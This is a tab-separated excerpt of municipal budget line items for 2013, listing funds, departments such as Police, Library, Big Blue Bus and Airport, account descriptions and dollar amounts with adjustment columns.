2059	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2013	11433.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11433.0
2060	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2013	13015.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13015.0
2061	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522950.0	CNG FUEL		 Supplies and Expenses	2013	4029.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4029.0
2062	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	130.0
2063	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2013	6426.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6426.0
2064	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544390.0	OTHER COSTS		 Supplies and Expenses	2013	39780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39780.0
2065	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2013	3672.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3672.0
2066	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577050.0	PROPERTY TAXES		 Supplies and Expenses	2013	9006.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9006.0
2067	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1465799.0	0	0.0	-65042.0	0	0	0.0	14008	0.0	0	0	0.0	1414765.0
2068	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2013	269950.0	0	0.0	0.0	0	0	0.0	-38500	0.0	0	0	0.0	231450.0
2069	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	9438.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9438.0
2070	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-POLICE RETIREE	806.0	Salaries and Wages	2013	101353.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	101353.0
2071	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		MEDICAL-RETIREE	804.0	Salaries and Wages	2013	32780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32780.0
2072	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
2073	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-RETIREE	806.0	Salaries and Wages	2013	8951.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8951.0
2074	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404082.0	INTEREST - PROP 1B-BUSES	659.0	Investment Income	2013	-43000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-43000.0
2075	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407930.0	GARDENSOFT WEBSITE PARTNR FUND	612.0	Charges for Service	2013	-7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-7500.0
2076	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
2077	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
2078	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	550.0
2079	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2080	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
2081	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	2142.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2142.0
2082	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2083	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	402450.0	DWR RAIN HARVEST REBATE GRANT	610.0	Intergovernmental	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	-45012.37	0	0	0.0	-50012.37
2084	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522620.0	RENT	808.0	 Supplies and Expenses	2013	66061.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	66061.0
2085	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	1530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1530.0
2086	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	560010.0	SCADA O & M	804.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
2087	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	560010.0	SCADA O & M	844.0	 Supplies and Expenses	2013	26556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26556.0
2088	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	404580.0	BAYSAVER FEES	662.0	Other	2013	-80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-80000.0
2089	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	404580.0	BAYSAVER FEES	662.0	Other	2013	-18600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18600.0
2090	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2013	15987.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15987.0
2091	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	768575.0	0	0.0	0.0	0	0	0.0	7686	0.0	0	0	0.0	776261.0
2092	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	1923.0	0	0.0	0.0	0	0	0.0	19	0.0	0	0	0.0	1942.0
2093	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	1535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1535.0
2094	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	209.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	209.0
2095	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	968.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	978.0
2096	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	7880.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7880.0
2097	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	450.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	450.0
2098	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	105.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105.0
2099	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511749.0	VISION	804.0	Salaries and Wages	2013	1506.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1506.0
2100	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	8020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8020.0
2101	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	12052.0	0	0.0	0.0	0	0	0.0	850	0.0	0	0	0.0	12902.0
2102	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511749.0	VISION	804.0	Salaries and Wages	2013	938.0	0	0.0	0.0	0	0	0.0	65	0.0	0	0	0.0	1003.0
2103	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1513.0	0	0.0	0.0	0	0	0.0	95	0.0	0	0	0.0	1608.0
2104	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	4750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4750.0
2105	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	10200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10200.0
2106	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	978903.0	0	0.0	-6672.0	0	0	0.0	9746	0.0	0	0	0.0	981977.0
2107	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	63166.0	0	0.0	0.0	0	0	0.0	632	0.0	0	0	0.0	63798.0
2108	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
2109	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2110	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	177281.0	0	0.0	-2561.0	0	0	0.0	0	0.0	0	0	0.0	174720.0
2111	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	76.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76.0
2112	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407400.0	STATE RECYCLING PROGRAM	662.0	Other	2013	-44500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-44500.0
2113	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2013	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
2114	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	4300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4300.0
2115	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	0.0	40000	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
2116	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2013	765.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	840.0
2117	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544860.0	SUMMER FOOD SERVICE	810.0	 Supplies and Expenses	2013	22045.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22045.0
2118	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511749.0	VISION	816.0	Salaries and Wages	2013	2054.0	0	0.0	0.0	0	0	0.0	205	0.0	0	0	0.0	2259.0
2119	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	326946.0	0	0.0	0.0	0	0	0.0	34754	0.0	0	0	0.0	361700.0
2120	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400980.0	SURF & SAND APPLICATION FEE	612.0	Charges for Service	2013	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
2121	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	5477.0	0	0.0	0.0	0	0	0.0	55	0.0	0	0	0.0	5532.0
2122	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EAP	808.0	Salaries and Wages	2013	3119.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3119.0
2123	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		UNEMPLOYMENT	810.0	Salaries and Wages	2013	3408.0	0	0.0	640.0	0	0	0.0	342	0.0	0	0	0.0	4390.0
2124	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	2695.0	0	0.0	0.0	0	0	0.0	27	0.0	0	0	0.0	2722.0
2125	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1838.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1838.0
2126	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	420.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	420.0
2127	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	2145.0	0	0.0	0.0	0	0	0.0	21	0.0	0	0	0.0	2166.0
2128	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DCAP	812.0	Salaries and Wages	2013	786.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	786.0
2129	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2013	3090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3090.0
2130	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DCAP	812.0	Salaries and Wages	2013	2172.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2172.0
2131	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EAP	816.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313.0
2132	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	5742.0	0	0.0	0.0	0	0	0.0	57	0.0	0	0	0.0	5799.0
2133	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		UNEMPLOYMENT	816.0	Salaries and Wages	2013	3702.0	0	0.0	0.0	0	0	0.0	37	0.0	0	0	0.0	3739.0
2134	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	4707	0	0.0	4707.0
2135	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		EAP	806.0	Salaries and Wages	2013	9448.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9448.0
2136	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	55216.0	0	0.0	0.0	0	0	0.0	552	0.0	0	0	0.0	55768.0
2137	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2013	23307.0	0	0.0	0.0	0	0	0.0	233	0.0	0	0	0.0	23540.0
2138	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EAP	806.0	Salaries and Wages	2013	5289.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5289.0
2139	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	3538.0	0	0.0	0.0	0	0	0.0	35	0.0	0	0	0.0	3573.0
2140	B1	IS	1	General Fund	310	FIRE	315	TRAINING		DCAP	806.0	Salaries and Wages	2013	144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	144.0
2141	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	3930.0	0	0.0	0.0	0	0	0.0	-145	0.0	0	0	0.0	3785.0
2142	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2143	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2144	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	599062.0	0	0.0	0.0	0	0	0.0	5991	0.0	-605053	0	0.0	0.0
2145	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	2967.0	0	0.0	0.0	0	0	0.0	30	0.0	-2997	0	0.0	0.0
2146	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		EAP	804.0	Salaries and Wages	2013	831.0	0	0.0	0.0	0	0	0.0	0	0.0	-831	0	0.0	0.0
2147	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	4660.0	0	0.0	0.0	0	0	0.0	47	0.0	-4707	0	0.0	0.0
2148	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	-5000	0	0.0	0.0
2149	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2013	918.0	0	0.0	0.0	0	0	0.0	0	0.0	-918	0	0.0	0.0
2150	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	6250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6250.0
2151	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER TO FUND 01		 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	262757	0.0	0	0	0.0	262757.0
2152	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400772.0	JONATHAN CLUB LEASE	618.0	Rentals	2013	-125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-125000.0
2153	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400308.0	VALET PERMITS	608.0	Licenses and Permits	2013	-341700.0	0	0.0	0.0	0	0	0.0	0	0.0	341700	0	0.0	0.0
2154	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2013	36000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36000.0
2155	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577520.0	INVESTMENT TRANSFERS		 Supplies and Expenses	2013	-344318.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-344318.0
2156	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	2588.0	0	0.0	0.0	0	0	0.0	26	0.0	0	0	0.0	2614.0
2157	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2013	-125000.0	0	0.0	0.0	0	0	0.0	-1250	0.0	0	0	0.0	-126250.0
2158	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2013	6424.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6424.0
2159	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404290.0	MEASURE R LOCAL RETURN	658.0	Sales Tax	2013	-842068.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-842068.0
2160	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2161	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
2162	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
2163	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556110.0	DECEDENT TRANSPORTION		 Supplies and Expenses	2013	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
2164	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	6500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6500.0
2165	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2013	-8559.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8559.0
2166	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2013	-20995.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20995.0
2167	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	1576.0	0	0.0	0.0	0	0	0.0	0	0.0	-1576	0	0.0	0.0
2168	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2013	-980000.0	0	0.0	0.0	0	0	0.0	0	0.0	980000	0	0.0	0.0
2169	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2013	-6700000.0	0	0.0	0.0	0	0	0.0	-400000	0.0	7100000	0	0.0	0.0
2170	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
2171	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2172	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2173	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2013	-40000.0	0	0.0	0.0	0	0	0.0	-400	0.0	0	0	0.0	-40400.0
2174	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2013	-55000.0	0	0.0	0.0	0	0	0.0	-550	0.0	0	0	0.0	-55550.0
2175	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	6130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6130.0
2176	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	675.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	675.0
2177	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555395.0	09 UASI GRANT	806.0	 Supplies and Expenses	2013	0.0	0	99378.0	-99378.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2178	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2013	180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	180.0
